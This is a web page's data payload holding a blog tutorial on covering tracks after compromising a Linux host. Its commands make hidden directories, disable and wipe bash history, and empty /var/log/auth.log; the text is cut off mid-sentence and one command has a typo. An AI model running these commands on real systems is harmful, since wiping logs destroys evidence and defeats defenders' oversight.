[{"data":1,"prerenderedAt":1654},["ShallowReactive",2],{"announcement":3,"i-tabler:sun":11,"i-tabler:moon":16,"i-tabler:menu-2":18,"i-tabler:x":20,"i-simple-icons:youtube":22,"i-simple-icons:github":24,"i-simple-icons:x":26,"i-simple-icons:linkedin":28,"i-tabler:arrow-up-right":31,"post-clear-logs-and-bash-history-for-stealth":33,"post-nav-clear-logs-and-bash-history-for-stealth":1641,"video-clear-logs-and-bash-history-for-stealth":1636,"i-tabler:copy":1652},{"startsAt":4,"endsAt":5,"scramble":6,"cta":7,"message":10},"2026-10-13","2026-11-30","Cache Poisoning:",{"href":8,"label":9},"\u002Fcache-poisoning-the-cache-you-cant-purge","Read it","The cache you can't purge.",{"left":12,"top":12,"width":13,"height":13,"rotate":12,"vFlip":14,"hFlip":14,"body":15},0,24,false,"\u003Cpath fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"2\" d=\"M8 12a4 4 0 1 0 8 0a4 4 0 1 0-8 0m-5 0h1m8-9v1m8 8h1m-9 8v1M5.6 5.6l.7.7m12.1-.7l-.7.7m0 11.4l.7.7m-12.1-.7l-.7.7\"\u002F>",{"left":12,"top":12,"width":13,"height":13,"rotate":12,"vFlip":14,"hFlip":14,"body":17},"\u003Cpath fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"2\" d=\"M12 3h.393a7.5 7.5 0 0 0 7.92 12.446A9 9 0 1 1 12 2.992z\"\u002F>",{"left":12,"top":12,"width":13,"height":13,"rotate":12,"vFlip":14,"hFlip":14,"body":19},"\u003Cpath fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"2\" d=\"M4 6h16M4 12h16M4 18h16\"\u002F>",{"left":12,"top":12,"width":13,"height":13,"rotate":12,"vFlip":14,"hFlip":14,"body":21},"\u003Cpath fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"2\" d=\"M18 6L6 18M6 6l12 12\"\u002F>",{"left":12,"top":12,"width":13,"height":13,"rotate":12,"vFlip":14,"hFlip":14,"body":23},"\u003Cpath fill=\"currentColor\" d=\"M23.498 6.186a3.02 3.02 0 0 0-2.122-2.136C19.505 3.545 12 3.545 12 3.545s-7.505 0-9.377.505A3.02 3.02 0 0 0 .502 6.186C0 8.07 0 12 0 12s0 3.93.502 5.814a3.02 3.02 0 0 0 2.122 2.136c1.871.505 9.376.505 9.376.505s7.505 0 9.377-.505a3.02 3.02 0 0 0 2.122-2.136C24 15.93 24 12 24 12s0-3.93-.502-5.814M9.545 15.568V8.432L15.818 12z\"\u002F>",{"left":12,"top":12,"width":13,"height":13,"rotate":12,"vFlip":14,"hFlip":14,"body":25},"\u003Cpath fill=\"currentColor\" d=\"M12 .297c-6.63 0-12 5.373-12 12c0 5.303 3.438 9.8 8.205 11.385c.6.113.82-.258.82-.577c0-.285-.01-1.04-.015-2.04c-3.338.724-4.042-1.61-4.042-1.61C4.422 18.07 3.633 17.7 3.633 17.7c-1.087-.744.084-.729.084-.729c1.205.084 1.838 1.236 1.838 1.236c1.07 1.835 2.809 1.305 3.495.998c.108-.776.417-1.305.76-1.605c-2.665-.3-5.466-1.332-5.466-5.93c0-1.31.465-2.38 1.235-3.22c-.135-.303-.54-1.523.105-3.176c0 0 1.005-.322 3.3 1.23c.96-.267 1.98-.399 3-.405c1.02.006 2.04.138 3 .405c2.28-1.552 3.285-1.23 3.285-1.23c.645 1.653.24 2.873.12 3.176c.765.84 1.23 1.91 1.23 3.22c0 4.61-2.805 5.625-5.475 5.92c.42.36.81 1.096.81 2.22c0 1.606-.015 2.896-.015 3.286c0 .315.21.69.825.57C20.565 22.092 24 17.592 24 12.297c0-6.627-5.373-12-12-12\"\u002F>",{"left":12,"top":12,"width":13,"height":13,"rotate":12,"vFlip":14,"hFlip":14,"body":27},"\u003Cpath fill=\"currentColor\" d=\"M14.234 10.162L22.977 0h-2.072l-7.591 8.824L7.251 0H.258l9.168 13.343L.258 24H2.33l8.016-9.318L16.749 24h6.993zm-2.837 3.299l-.929-1.329L3.076 1.56h3.182l5.965 8.532l.929 1.329l7.754 11.09h-3.182z\"\u002F>",{"left":12,"top":12,"width":13,"height":13,"rotate":12,"vFlip":14,"hFlip":14,"body":29,"hidden":30},"\u003Cpath fill=\"currentColor\" d=\"M20.447 20.452h-3.554v-5.569c0-1.328-.027-3.037-1.852-3.037c-1.853 0-2.136 1.445-2.136 2.939v5.667H9.351V9h3.414v1.561h.046c.477-.9 1.637-1.85 3.37-1.85c3.601 0 4.267 2.37 4.267 5.455v6.286zM5.337 7.433a2.06 2.06 0 0 1-2.063-2.065a2.064 2.064 0 1 1 2.063 2.065m1.782 13.019H3.555V9h3.564zM22.225 0H1.771C.792 0 0 .774 0 1.729v20.542C0 23.227.792 24 1.771 24h20.451C23.2 24 24 23.227 24 22.271V1.729C24 .774 23.2 0 22.222 0z\"\u002F>",true,{"left":12,"top":12,"width":13,"height":13,"rotate":12,"vFlip":14,"hFlip":14,"body":32},"\u003Cpath fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"2\" d=\"M17 7L7 17M8 7h9v9\"\u002F>",{"id":34,"title":35,"body":36,"categories":1628,"coverImage":1630,"date":1631,"description":1632,"draft":14,"extension":1633,"meta":1634,"navigation":30,"noindex":14,"path":1635,"readingTime":1636,"seo":1637,"slug":1638,"stem":1638,"updatedAt":1639,"youtubeId":1636,"__hash__":1640},"blog\u002Fclear-logs-and-bash-history-for-stealth.md","Clear Logs and Bash History for Stealth",{"type":37,"value":38,"toc":1616},"minimark",[39,42,49,57,60,63,70,73,280,287,302,305,332,339,430,437,452,459,465,596,603,624,631,646,649,662,665,677,680,694,697,714,717,732,735,750,753,767,770,784,791,808,811,827,834,851,853,869,872,888,891,898,913,919,933,936,972,979,997,1004,1007,1035,1041,1056,1063,1083,1086,1089,1108,1115,1128,1131,1148,1154,1175,1181,1237,1243,1257,1264,1280,1287,1300,1307,1322,1329,1348,1351,1451,1454,1460,1463,1468,1475,1597,1600,1612],[40,41],"post-media",{},[43,44,45],"p",{},[46,47,48],"strong",{},"As a hacker, the final stage of exploitation is covering their tracks, which involves wiping all activity and logs so that they can avoid being detected. It's especially crucial for persistence if the target will be accessed again in the future by the attacker.",[50,51,53,56],"h2",{"id":52},"step-1-compromise-a-target",[46,54,55],{},"Step 1:"," Compromise a Target",[43,58,59],{},"The first thing we need to do is exploit the target. We can use command injection to abuse the way the server handles OS commands to get a shell. We'll also want to upgrade our new shell to a fully interactive one. Doing so will make it easier to work in general, and it will also let us use tab completion and terminal history.",[43,61,62],{},"After that, we can escalate our privileges to root so we can better take advantage of the system to remain undetected.",[50,64,66,69],{"id":65},"step-2-create-an-easy-to-delete-hidden-directory",[46,67,68],{},"Step 2:"," Create an Easy-to-Delete Hidden Directory",[43,71,72],{},"Once we have root access, we can create a hidden directory to work out of and keep any scripts or files in. It won't fool anyone but the most noobie admin, but another layer of discretion certainly couldn't hurt. First, let's locate any writable directories with the following command:",[74,75,80],"pre",{"code":76,"language":77,"meta":78,"className":79,"style":78},"root@kali:\u002F# find \u002F -perm -222 -type d 2>\u002Fdev\u002Fnull\n\u002Fdev\u002Fshm\n\u002Fvar\u002Flock\n\u002Fvar\u002Flib\u002Fphp5\n\u002Fvar\u002Ftmp\n\u002Fvar\u002Fwww\u002Fdav\n\u002Fvar\u002Fwww\u002Fstarwar\u002Fdata\u002FSandbox\n\u002Fvar\u002Fwww\u002Fstarwar\u002Fdata\u002FMain\n\u002Fvar\u002Fwww\u002Fstarwar\u002Fdata\u002FKnow\n\u002Fvar\u002Fwww\u002Fstarwar\u002Fdata\u002Fstarwar\n\u002Fvar\u002Fwww\u002Fstarwar\u002Fdata\u002F_default\n\u002Fvar\u002Fwww\u002Fstarwar\u002Fdata\u002FTrash\n\u002Fvar\u002Fwww\u002Fstarwar\u002Fpublic\u002FSandbox\n\u002Fvar\u002Fwww\u002Fstarwar\u002Fpublic\u002FMain\n\u002Fvar\u002Fwww\u002Fstarwar\u002Fpublic\u002FKnow\n\u002Fvar\u002Fwww\u002Fstarwar\u002Fpublic\u002FKnow\u002FIncorrectDllVersionW32PTH10DLL\n\u002Fvar\u002Fwww\u002Fstarwar\u002Fpublic\u002Fstarwar\n\u002Fvar\u002Fwww\u002Fstarwar\u002Fpublic\u002Fstarwar\u002FstarwarDocGraphics\n\u002Fvar\u002Fwww\u002Fstarwar\u002Fpublic\u002Fstarwar\u002FstarwarTemplates\n\u002Fvar\u002Fwww\u002Fstarwar\u002Fpublic\u002Fstarwar\u002FstarwarLogos\n\u002Fvar\u002Fwww\u002Fstarwar\u002Fpublic\u002Fstarwar\u002FPreviewBackground\n\u002Fvar\u002Fwww\u002Fstarwar\u002Fpublic\u002Fstarwar\u002FFileAttachment\n\u002Fvar\u002Fwww\u002Fstarwar\u002Fpublic\u002Fstarwar\u002FWabiSabi\n\u002Fvar\u002Fwww\u002Fstarwar\u002Fpublic\u002FTrash\n\u002Fvar\u002Fwww\u002Fstarwar\u002Fpublic\u002Ficn\n\u002Ftmp\n\u002Ftmp\u002F.ICE-unix\n\u002Ftmp\u002F.X11-unix\n","bash","","shiki shiki-themes vitesse-dark vitesse-light",[81,82,83,119,125,131,137,143,149,155,161,167,173,179,185,191,197,203,209,215,221,227,233,239,245,251,256,262,268,274],"code",{},[84,85,88,92,96,99,103,106,109,112,116],"span",{"class":86,"line":87},"line",1,[84,89,91],{"class":90},"swzfi","root@kali:\u002F#",[84,93,95],{"class":94},"sRRDT"," find",[84,97,98],{"class":94}," \u002F",[84,100,102],{"class":101},"se4ZP"," -perm",[84,104,105],{"class":101}," -222",[84,107,108],{"class":101}," -type",[84,110,111],{"class":94}," d",[84,113,115],{"class":114},"sfIIG"," 2>",[84,117,118],{"class":94},"\u002Fdev\u002Fnull\n",[84,120,122],{"class":86,"line":121},2,[84,123,124],{"class":90},"\u002Fdev\u002Fshm\n",[84,126,128],{"class":86,"line":127},3,[84,129,130],{"class":90},"\u002Fvar\u002Flock\n",[84,132,134],{"class":86,"line":133},4,[84,135,136],{"class":90},"\u002Fvar\u002Flib\u002Fphp5\n",[84,138,140],{"class":86,"line":139},5,[84,141,142],{"class":90},"\u002Fvar\u002Ftmp\n",[84,144,146],{"class":86,"line":145},6,[84,147,148],{"class":90},"\u002Fvar\u002Fwww\u002Fdav\n",[84,150,152],{"class":86,"line":151},7,[84,153,154],{"class":90},"\u002Fvar\u002Fwww\u002Fstarwar\u002Fdata\u002FSandbox\n",[84,156,158],{"class":86,"line":157},8,[84,159,160],{"class":90},"\u002Fvar\u002Fwww\u002Fstarwar\u002Fdata\u002FMain\n",[84,162,164],{"class":86,"line":163},9,[84,165,166],{"class":90},"\u002Fvar\u002Fwww\u002Fstarwar\u002Fdata\u002FKnow\n",[84,168,170],{"class":86,"line":169},10,[84,171,172],{"class":90},"\u002Fvar\u002Fwww\u002Fstarwar\u002Fdata\u002Fstarwar\n",[84,174,176],{"class":86,"line":175},11,[84,177,178],{"class":90},"\u002Fvar\u002Fwww\u002Fstarwar\u002Fdata\u002F_default\n",[84,180,182],{"class":86,"line":181},12,[84,183,184],{"class":90},"\u002Fvar\u002Fwww\u002Fstarwar\u002Fdata\u002FTrash\n",[84,186,188],{"class":86,"line":187},13,[84,189,190],{"class":90},"\u002Fvar\u002Fwww\u002Fstarwar\u002Fpublic\u002FSandbox\n",[84,192,194],{"class":86,"line":193},14,[84,195,196],{"class":90},"\u002Fvar\u002Fwww\u002Fstarwar\u002Fpublic\u002FMain\n",[84,198,200],{"class":86,"line":199},15,[84,201,202],{"class":90},"\u002Fvar\u002Fwww\u002Fstarwar\u002Fpublic\u002FKnow\n",[84,204,206],{"class":86,"line":205},16,[84,207,208],{"class":90},"\u002Fvar\u002Fwww\u002Fstarwar\u002Fpublic\u002FKnow\u002FIncorrectDllVersionW32PTH10DLL\n",[84,210,212],{"class":86,"line":211},17,[84,213,214],{"class":90},"\u002Fvar\u002Fwww\u002Fstarwar\u002Fpublic\u002Fstarwar\n",[84,216,218],{"class":86,"line":217},18,[84,219,220],{"class":90},"\u002Fvar\u002Fwww\u002Fstarwar\u002Fpublic\u002Fstarwar\u002FstarwarDocGraphics\n",[84,222,224],{"class":86,"line":223},19,[84,225,226],{"class":90},"\u002Fvar\u002Fwww\u002Fstarwar\u002Fpublic\u002Fstarwar\u002FstarwarTemplates\n",[84,228,230],{"class":86,"line":229},20,[84,231,232],{"class":90},"\u002Fvar\u002Fwww\u002Fstarwar\u002Fpublic\u002Fstarwar\u002FstarwarLogos\n",[84,234,236],{"class":86,"line":235},21,[84,237,238],{"class":90},"\u002Fvar\u002Fwww\u002Fstarwar\u002Fpublic\u002Fstarwar\u002FPreviewBackground\n",[84,240,242],{"class":86,"line":241},22,[84,243,244],{"class":90},"\u002Fvar\u002Fwww\u002Fstarwar\u002Fpublic\u002Fstarwar\u002FFileAttachment\n",[84,246,248],{"class":86,"line":247},23,[84,249,250],{"class":90},"\u002Fvar\u002Fwww\u002Fstarwar\u002Fpublic\u002Fstarwar\u002FWabiSabi\n",[84,252,253],{"class":86,"line":13},[84,254,255],{"class":90},"\u002Fvar\u002Fwww\u002Fstarwar\u002Fpublic\u002FTrash\n",[84,257,259],{"class":86,"line":258},25,[84,260,261],{"class":90},"\u002Fvar\u002Fwww\u002Fstarwar\u002Fpublic\u002Ficn\n",[84,263,265],{"class":86,"line":264},26,[84,266,267],{"class":90},"\u002Ftmp\n",[84,269,271],{"class":86,"line":270},27,[84,272,273],{"class":90},"\u002Ftmp\u002F.ICE-unix\n",[84,275,277],{"class":86,"line":276},28,[84,278,279],{"class":90},"\u002Ftmp\u002F.X11-unix\n",[43,281,282,283,286],{},"We can create a hidden directory with the ",[46,284,285],{},"mkdir"," command and by prepending the name with a dot:",[74,288,290],{"code":289,"language":77,"meta":78,"className":79,"style":78},"root@kali:\u002F# mkdir \u002Fdev\u002Fshm\u002F.secretDir\n",[81,291,292],{},[84,293,294,296,299],{"class":86,"line":87},[84,295,91],{"class":90},[84,297,298],{"class":94}," mkdir",[84,300,301],{"class":94}," \u002Fdev\u002Fshm\u002F.secretDir\n",[43,303,304],{},"If we list the contents of \u002Fdev\u002Fshm now, nothing shows up:",[74,306,308],{"code":307,"language":77,"meta":78,"className":79,"style":78},"root@kali:\u002F# ls -l \u002Fdev\u002Fshm\u002F\ntotal 0\n",[81,309,310,323],{},[84,311,312,314,317,320],{"class":86,"line":87},[84,313,91],{"class":90},[84,315,316],{"class":94}," ls",[84,318,319],{"class":101}," -l",[84,321,322],{"class":94}," \u002Fdev\u002Fshm\u002F\n",[84,324,325,328],{"class":86,"line":121},[84,326,327],{"class":90},"total",[84,329,331],{"class":330},"sUQhE"," 0\n",[43,333,334,335,338],{},"Only when we use the ",[46,336,337],{},"-a"," switch to list all files and directories does it show up:",[74,340,342],{"code":341,"language":77,"meta":78,"className":79,"style":78},"root@kali:\u002F# ls -la \u002Fdev\u002Fshm\u002F\ntotal 0\ndrwxrwxrwt  3 root root    60 2019-06-19 13:49 .\ndrwxr-xr-x 13 root root 13480 2019-06-19 13:41 ..\ndrwxr-xr-x  2 root root    40 2019-06-19 13:49 .secretDir\n",[81,343,344,355,361,386,409],{},[84,345,346,348,350,353],{"class":86,"line":87},[84,347,91],{"class":90},[84,349,316],{"class":94},[84,351,352],{"class":101}," -la",[84,354,322],{"class":94},[84,356,357,359],{"class":86,"line":121},[84,358,327],{"class":90},[84,360,331],{"class":330},[84,362,363,366,369,372,374,377,380,383],{"class":86,"line":127},[84,364,365],{"class":90},"drwxrwxrwt",[84,367,368],{"class":330},"  3",[84,370,371],{"class":94}," root",[84,373,371],{"class":94},[84,375,376],{"class":330},"    60",[84,378,379],{"class":94}," 2019-06-19",[84,381,382],{"class":94}," 13:49",[84,384,385],{"class":94}," .\n",[84,387,388,391,394,396,398,401,403,406],{"class":86,"line":133},[84,389,390],{"class":90},"drwxr-xr-x",[84,392,393],{"class":330}," 13",[84,395,371],{"class":94},[84,397,371],{"class":94},[84,399,400],{"class":330}," 13480",[84,402,379],{"class":94},[84,404,405],{"class":94}," 13:41",[84,407,408],{"class":94}," ..\n",[84,410,411,413,416,418,420,423,425,427],{"class":86,"line":139},[84,412,390],{"class":90},[84,414,415],{"class":330},"  2",[84,417,371],{"class":94},[84,419,371],{"class":94},[84,421,422],{"class":330},"    40",[84,424,379],{"class":94},[84,426,382],{"class":94},[84,428,429],{"class":94}," .secretDir\n",[43,431,432,433,436],{},"To remove the directory once we are finished on the machine, use the ",[46,434,435],{},"rmdir"," command:",[74,438,440],{"code":439,"language":77,"meta":78,"className":79,"style":78},"root@kali:\u002F# rmdir \u002Fdev\u002Fshm\u002F.secretDir\u002F\n",[81,441,442],{},[84,443,444,446,449],{"class":86,"line":87},[84,445,91],{"class":90},[84,447,448],{"class":94}," rmdir",[84,450,451],{"class":94}," \u002Fdev\u002Fshm\u002F.secretDir\u002F\n",[50,453,455,458],{"id":454},"step-3-delete-the-bash-history",[46,456,457],{},"Step 3:"," Delete the Bash History",[43,460,461,462,436],{},"Bash keeps a list of commands used in the current session in memory, so it's important to clear it to cover your tracks. We can view the current history with the ",[46,463,464],{},"history",[74,466,468],{"code":467,"language":77,"meta":78,"className":79,"style":78},"root@kali:\u002F# history\n    1  cd \u002F\n    2  ls\n    3  find \u002F -perm -222 -type d 2>\u002Fdev\u002Fnull\n    4  cd \u002Fdev\u002Fshm\u002F\n    5  cd \u002F\n    6  mkdir \u002Fdev\u002Fshm\u002F.secret\n    7  ls -l \u002Fdev\u002Fshm\u002F\n    8  ls -la \u002Fdev\u002Fshm\u002F\n    9  ls\n   10  rmdir \u002Fdev\u002Fshm\u002F.secret\u002F\n   11  history\n",[81,469,470,477,488,496,518,527,536,547,559,570,577,588],{},[84,471,472,474],{"class":86,"line":87},[84,473,91],{"class":90},[84,475,476],{"class":94}," history\n",[84,478,479,482,485],{"class":86,"line":121},[84,480,481],{"class":90},"    1",[84,483,484],{"class":94},"  cd",[84,486,487],{"class":94}," \u002F\n",[84,489,490,493],{"class":86,"line":127},[84,491,492],{"class":90},"    2",[84,494,495],{"class":94},"  ls\n",[84,497,498,501,504,506,508,510,512,514,516],{"class":86,"line":133},[84,499,500],{"class":90},"    3",[84,502,503],{"class":94},"  find",[84,505,98],{"class":94},[84,507,102],{"class":101},[84,509,105],{"class":101},[84,511,108],{"class":101},[84,513,111],{"class":94},[84,515,115],{"class":114},[84,517,118],{"class":94},[84,519,520,523,525],{"class":86,"line":139},[84,521,522],{"class":90},"    4",[84,524,484],{"class":94},[84,526,322],{"class":94},[84,528,529,532,534],{"class":86,"line":145},[84,530,531],{"class":90},"    5",[84,533,484],{"class":94},[84,535,487],{"class":94},[84,537,538,541,544],{"class":86,"line":151},[84,539,540],{"class":90},"    6",[84,542,543],{"class":94},"  mkdir",[84,545,546],{"class":94}," \u002Fdev\u002Fshm\u002F.secret\n",[84,548,549,552,555,557],{"class":86,"line":157},[84,550,551],{"class":90},"    7",[84,553,554],{"class":94},"  ls",[84,556,319],{"class":101},[84,558,322],{"class":94},[84,560,561,564,566,568],{"class":86,"line":163},[84,562,563],{"class":90},"    8",[84,565,554],{"class":94},[84,567,352],{"class":101},[84,569,322],{"class":94},[84,571,572,575],{"class":86,"line":169},[84,573,574],{"class":90},"    9",[84,576,495],{"class":94},[84,578,579,582,585],{"class":86,"line":175},[84,580,581],{"class":90},"   10",[84,583,584],{"class":94},"  rmdir",[84,586,587],{"class":94}," \u002Fdev\u002Fshm\u002F.secret\u002F\n",[84,589,590,593],{"class":86,"line":181},[84,591,592],{"class":90},"   11",[84,594,595],{"class":94},"  history\n",[43,597,598,599,602],{},"Commands are written to the HISTFILE environment variable, which is usually .bash_history. We can ",[46,600,601],{},"echo"," it to see the location:",[74,604,606],{"code":605,"language":77,"meta":78,"className":79,"style":78},"root@kali:\u002F# echo $HISTFILE\n\u002Froot\u002F.bash_history\n",[81,607,608,619],{},[84,609,610,612,615],{"class":86,"line":87},[84,611,91],{"class":90},[84,613,614],{"class":94}," echo",[84,616,618],{"class":617},"snInM"," $HISTFILE\n",[84,620,621],{"class":86,"line":121},[84,622,623],{"class":90},"\u002Froot\u002F.bash_history\n",[43,625,626,627,630],{},"We can use the ",[46,628,629],{},"unset"," command to remove the variable:",[74,632,634],{"code":633,"language":77,"meta":78,"className":79,"style":78},"root@kali:\u002F# unset HISTFILE\n",[81,635,636],{},[84,637,638,640,643],{"class":86,"line":87},[84,639,91],{"class":90},[84,641,642],{"class":94}," unset",[84,644,645],{"class":94}," HISTFILE\n",[43,647,648],{},"So when we echo it again, nothing shows up:",[74,650,652],{"code":651,"language":77,"meta":78,"className":79,"style":78},"root@kali:\u002F# echo $HISTFILE\n",[81,653,654],{},[84,655,656,658,660],{"class":86,"line":87},[84,657,91],{"class":90},[84,659,614],{"class":94},[84,661,618],{"class":617},[43,663,664],{},"We can also make sure the command history isn't stored by sending it to \u002Fdev\u002Fnull. Set the variable to it:",[74,666,668],{"code":667,"language":77,"meta":78,"className":79,"style":78},"root@kali:\u002F# HISTFILE=\u002Fdev\u002Fnull\n",[81,669,670],{},[84,671,672,674],{"class":86,"line":87},[84,673,91],{"class":90},[84,675,676],{"class":94}," HISTFILE=\u002Fdev\u002Fnull\n",[43,678,679],{},"Or do the same with the export command:",[74,681,683],{"code":682,"language":77,"meta":78,"className":79,"style":78},"root@kali:\u002F# export HISTFILE=\u002Fdev\u002Fnull\n",[81,684,685],{},[84,686,687,689,692],{"class":86,"line":87},[84,688,91],{"class":90},[84,690,691],{"class":94}," export",[84,693,676],{"class":94},[43,695,696],{},"And the history will now be sent to \u002Fdev\u002Fnull (nowhere):",[74,698,700],{"code":699,"language":77,"meta":78,"className":79,"style":78},"root@kali:\u002F# echo $HISTFILE\n\u002Fdev\u002Fnull\n",[81,701,702,710],{},[84,703,704,706,708],{"class":86,"line":87},[84,705,91],{"class":90},[84,707,614],{"class":94},[84,709,618],{"class":617},[84,711,712],{"class":86,"line":121},[84,713,118],{"class":90},[43,715,716],{},"We can set the number of commands to be stored during the current session to 0 using the HISTSIZE variable:",[74,718,720],{"code":719,"language":77,"meta":78,"className":79,"style":78},"root@kali:\u002F# HISTSIZE=0\n",[81,721,722],{},[84,723,724,726,729],{"class":86,"line":87},[84,725,91],{"class":90},[84,727,728],{"class":94}," HISTSIZE=",[84,730,731],{"class":330},"0\n",[43,733,734],{},"Alternatively, use the export command:",[74,736,738],{"code":737,"language":77,"meta":78,"className":79,"style":78},"root@kali:\u002F# export HISTSIZE=0\n",[81,739,740],{},[84,741,742,744,746,748],{"class":86,"line":87},[84,743,91],{"class":90},[84,745,691],{"class":94},[84,747,728],{"class":94},[84,749,731],{"class":330},[43,751,752],{},"We can also change the number of lines allowed in the history file using the HISTFILESIZE variable. Set this to 0:",[74,754,756],{"code":755,"language":77,"meta":78,"className":79,"style":78},"root@kali:\u002F# HISTFILESIZE=0\n",[81,757,758],{},[84,759,760,762,765],{"class":86,"line":87},[84,761,91],{"class":90},[84,763,764],{"class":94}," HISTFILESIZE=",[84,766,731],{"class":330},[43,768,769],{},"Or with export:",[74,771,773],{"code":772,"language":77,"meta":78,"className":79,"style":78},"root@kali:\u002F# export HISTFILESIZE=0z\n",[81,774,775],{},[84,776,777,779,781],{"class":86,"line":87},[84,778,91],{"class":90},[84,780,691],{"class":94},[84,782,783],{"class":94}," HISTFILESIZE=0z\n",[43,785,786,787,790],{},"The ",[46,788,789],{},"set"," command can be used to change shell options as well. To disable the history option, use the following command:",[74,792,794],{"code":793,"language":77,"meta":78,"className":79,"style":78},"root@kali:\u002F# set +o history\n",[81,795,796],{},[84,797,798,800,803,806],{"class":86,"line":87},[84,799,91],{"class":90},[84,801,802],{"class":94}," set",[84,804,805],{"class":94}," +o",[84,807,476],{"class":94},[43,809,810],{},"And to enable it again:",[74,812,814],{"code":813,"language":77,"meta":78,"className":79,"style":78},"root@kali:\u002F# set -o history\n",[81,815,816],{},[84,817,818,820,822,825],{"class":86,"line":87},[84,819,91],{"class":90},[84,821,802],{"class":94},[84,823,824],{"class":101}," -o",[84,826,476],{"class":94},[43,828,829,830,833],{},"Similarly, the ",[46,831,832],{},"shopt"," command can be used to change shell options. To disable history, use the following command:",[74,835,837],{"code":836,"language":77,"meta":78,"className":79,"style":78},"root@kali:\u002F# shopt -ou history\n",[81,838,839],{},[84,840,841,843,846,849],{"class":86,"line":87},[84,842,91],{"class":90},[84,844,845],{"class":94}," shopt",[84,847,848],{"class":101}," -ou",[84,850,476],{"class":94},[43,852,810],{},[74,854,856],{"code":855,"language":77,"meta":78,"className":79,"style":78},"root@kali:\u002F# shopt -os history\n",[81,857,858],{},[84,859,860,862,864,867],{"class":86,"line":87},[84,861,91],{"class":90},[84,863,845],{"class":94},[84,865,866],{"class":101}," -os",[84,868,476],{"class":94},[43,870,871],{},"While running commands on the target system, we can sometimes avoid saving them to history by starting the command with a leading space:",[74,873,875],{"code":874,"language":77,"meta":78,"className":79,"style":78},"root@kali:~#  cat \u002Fetc\u002Fpasswd\n",[81,876,877],{},[84,878,879,882,885],{"class":86,"line":87},[84,880,881],{"class":90},"root@kali:~#",[84,883,884],{"class":94},"  cat",[84,886,887],{"class":94}," \u002Fetc\u002Fpasswd\n",[43,889,890],{},"That technique doesn't work all the time and depends on the system.",[43,892,893,894,897],{},"We can also just clear the history using the ",[46,895,896],{},"-c"," switch:",[74,899,901],{"code":900,"language":77,"meta":78,"className":79,"style":78},"root@kali:~# history -c\n",[81,902,903],{},[84,904,905,907,910],{"class":86,"line":87},[84,906,881],{"class":90},[84,908,909],{"class":94}," history",[84,911,912],{"class":101}," -c\n",[43,914,915,916,897],{},"To make sure the changes are written to disk, use the ",[46,917,918],{},"-w",[74,920,922],{"code":921,"language":77,"meta":78,"className":79,"style":78},"root@kali:~# history -w\n",[81,923,924],{},[84,925,926,928,930],{"class":86,"line":87},[84,927,881],{"class":90},[84,929,909],{"class":94},[84,931,932],{"class":101}," -w\n",[43,934,935],{},"That will only clear the history for the current session. To absolutely make sure the history is cleared when exiting a session, the following command comes in handy:",[74,937,939],{"code":938,"language":77,"meta":78,"className":79,"style":78},"root@kali:\u002F# cat \u002Fdev\u002Fnull > ~\u002F.bash_history && history -c && exit\n",[81,940,941],{},[84,942,943,945,948,951,954,957,961,964,967,969],{"class":86,"line":87},[84,944,91],{"class":90},[84,946,947],{"class":94}," cat",[84,949,950],{"class":94}," \u002Fdev\u002Fnull",[84,952,953],{"class":114}," >",[84,955,956],{"class":94}," ~\u002F.bash_history",[84,958,960],{"class":959},"somML"," &&",[84,962,909],{"class":963},"s6_DI",[84,965,966],{"class":101}," -c",[84,968,960],{"class":959},[84,970,971],{"class":963}," exit\n",[43,973,974,975,978],{},"We can also use the ",[46,976,977],{},"kill"," command to exit the session without saving history:",[74,980,982],{"code":981,"language":77,"meta":78,"className":79,"style":78},"root@kali:\u002F# kill -9 $$\n",[81,983,984],{},[84,985,986,988,991,994],{"class":86,"line":87},[84,987,91],{"class":90},[84,989,990],{"class":94}," kill",[84,992,993],{"class":101}," -9",[84,995,996],{"class":101}," $$\n",[50,998,1000,1003],{"id":999},"step-4-clear-the-log-files",[46,1001,1002],{},"Step 4:"," Clear the Log Files",[43,1005,1006],{},"In addition to Bash history, log files also need to be wiped to remain undetected. Here are some common log files and what they contain:",[1008,1009,1010,1017,1023,1029],"ul",{},[1011,1012,1013,1016],"li",{},[46,1014,1015],{},"\u002Fvar\u002Flog\u002Fauth.log"," Authentication",[1011,1018,1019,1022],{},[46,1020,1021],{},"\u002Fvar\u002Flog\u002Fcron.log"," Cron Jobs",[1011,1024,1025,1028],{},[46,1026,1027],{},"\u002Fvar\u002Flog\u002Fmaillog"," Mail",[1011,1030,1031,1034],{},[46,1032,1033],{},"\u002Fvar\u002Flog\u002Fhttpd"," Apache",[43,1036,1037,1038,436],{},"Of course, we can simply remove a log with the ",[46,1039,1040],{},"rm",[74,1042,1044],{"code":1043,"language":77,"meta":78,"className":79,"style":78},"root@kali:\u002F# rm \u002Fvar\u002Flog\u002Fauth.log\n",[81,1045,1046],{},[84,1047,1048,1050,1053],{"class":86,"line":87},[84,1049,91],{"class":90},[84,1051,1052],{"class":94}," rm",[84,1054,1055],{"class":94}," \u002Fvar\u002Flog\u002Fauth.log\n",[43,1057,1058,1059,1062],{},"But that will likely raise red flags, so it's better to empty the file rather than erase it completely. We can use the ",[46,1060,1061],{},"truncate"," command to shrink the size to 0:",[74,1064,1066],{"code":1065,"language":77,"meta":78,"className":79,"style":78},"root@kali:\u002F# truncate -s 0 \u002Fvar\u002Flog\u002Fauth.log\n",[81,1067,1068],{},[84,1069,1070,1072,1075,1078,1081],{"class":86,"line":87},[84,1071,91],{"class":90},[84,1073,1074],{"class":94}," truncate",[84,1076,1077],{"class":101}," -s",[84,1079,1080],{"class":330}," 0",[84,1082,1055],{"class":94},[43,1084,1085],{},"Please note, truncate is not always present on all systems.",[43,1087,1088],{},"We can accomplish the same thing by echoing nothing into the file:",[74,1090,1092],{"code":1091,"language":77,"meta":78,"className":79,"style":78},"root@kali:\u002F# echo '' > \u002Fvar\u002Flog\u002Fauth.log\n",[81,1093,1094],{},[84,1095,1096,1098,1100,1104,1106],{"class":86,"line":87},[84,1097,91],{"class":90},[84,1099,614],{"class":94},[84,1101,1103],{"class":1102},"sy_C3"," ''",[84,1105,953],{"class":114},[84,1107,1055],{"class":94},[43,1109,1110,1111,1114],{},"And also with ",[46,1112,1113],{},">"," by itself to empty the 